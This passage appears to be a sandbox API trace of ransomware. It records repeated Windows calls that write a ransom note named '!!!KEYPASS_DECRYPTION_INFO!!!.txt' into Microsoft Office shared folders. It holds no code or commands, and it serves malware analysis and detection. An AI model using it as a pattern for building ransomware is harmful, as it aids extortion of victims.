Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.050] GetFileType (hFile=0x17a8) returned 0x1 [0276.051] CloseHandle (hObject=0x17a8) returned 1 [0276.051] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.051] GetLastError () returned 0x3f0 [0276.051] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.051] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.052] GetFileType (hFile=0x17ac) returned 0x1 [0276.053] CloseHandle (hObject=0x17ac) returned 1 [0276.053] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.053] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.053] GetLastError () returned 0x3f0 [0276.053] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.053] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.055] GetFileType (hFile=0x17b4) returned 0x1 [0276.057] CloseHandle (hObject=0x17b4) returned 1 [0276.057] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.057] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.057] GetLastError () returned 0x3f0 [0276.057] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.057] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.058] GetFileType (hFile=0x17b8) returned 0x1 [0276.059] CloseHandle (hObject=0x17b8) returned 1 [0276.059] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.059] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.059] GetLastError () returned 0x3f0 [0276.059] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.059] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.060] GetFileType (hFile=0x17bc) returned 0x1 [0276.061] CloseHandle (hObject=0x17bc) returned 1 [0276.061] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.061] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.061] GetLastError () returned 0x3f0 [0276.061] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.061] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.063] GetFileType (hFile=0x17c0) returned 0x1 [0276.065] CloseHandle (hObject=0x17c0) returned 1 [0276.065] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.065] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.065] GetLastError () returned 0x3f0 [0276.065] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.065] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.066] GetFileType (hFile=0x17c4) returned 0x1 [0276.067] CloseHandle (hObject=0x17c4) returned 1 [0276.067] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.067] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.067] GetLastError () returned 0x3f0 [0276.067] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.067] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.068] GetFileType (hFile=0x17c8) returned 0x1 [0276.069] CloseHandle (hObject=0x17c8) returned 1 [0276.071] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.071] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.071] GetLastError () returned 0x3f0 [0276.071] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.071] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.071] GetFileType (hFile=0x17b0) returned 0x1 [0276.072] CloseHandle (hObject=0x17b0) returned 1 [0276.073] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.073] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.073] GetLastError () returned 0x3f0 [0276.073] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.073] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.075] GetFileType (hFile=0x17d0) returned 0x1 [0276.076] CloseHandle (hObject=0x17d0) returned 1 [0276.077] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.077] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.077] GetLastError () returned 0x3f0 [0276.077] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.077] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.077] GetFileType (hFile=0x17d4) returned 0x1 [0276.078] CloseHandle (hObject=0x17d4) returned 1 [0276.078] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.078] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.078] GetLastError () returned 0x3f0 [0276.078] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.079] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.080] GetFileType (hFile=0x17d8) returned 0x1 [0276.080] CloseHandle (hObject=0x17d8) returned 1 [0276.081] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.081] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.081] GetLastError () returned 0x3f0 [0276.081] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.081] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.081] GetFileType (hFile=0x17dc) returned 0x1 [0276.082] CloseHandle (hObject=0x17dc) returned 1 [0276.082] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.082] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.082] GetLastError () returned 0x3f0 [0276.083] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.083] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.083] GetFileType (hFile=0x17e0) returned 0x1 [0276.084] CloseHandle (hObject=0x17e0) returned 1 [0276.084] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.084] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.084] GetLastError () returned 0x3f0 [0276.084] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.084] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.085] GetFileType (hFile=0x17e4) returned 0x1 [0276.086] CloseHandle (hObject=0x17e4) returned 1 [0276.086] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.086] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.086] GetLastError () returned 0x3f0 [0276.086] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.086] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.087] GetFileType (hFile=0x17e8) returned 0x1 [0276.088] CloseHandle (hObject=0x17e8) returned 1 [0276.088] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.088] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.088] GetLastError () returned 0x3f0 [0276.088] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.089] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.090] GetFileType (hFile=0x17ec) returned 0x1 [0276.091] CloseHandle (hObject=0x17ec) returned 1 [0276.091] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.091] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.091] GetLastError () returned 0x3f0 [0276.091] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.091] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.092] GetFileType (hFile=0x17f0) returned 0x1 [0276.093] CloseHandle (hObject=0x17f0) returned 1 [0276.093] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.093] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.093] GetLastError () returned 0x3f0 [0276.094] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.094] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.095] GetFileType (hFile=0x17cc) returned 0x1 [0276.096] CloseHandle (hObject=0x17cc) returned 1 [0276.096] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.096] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.096] GetLastError () returned 0x3f0 [0276.096] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.096] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.096] GetFileType (hFile=0x17f4) returned 0x1 [0276.097] CloseHandle (hObject=0x17f4) returned 1 [0276.097] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.097] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.098] GetLastError () 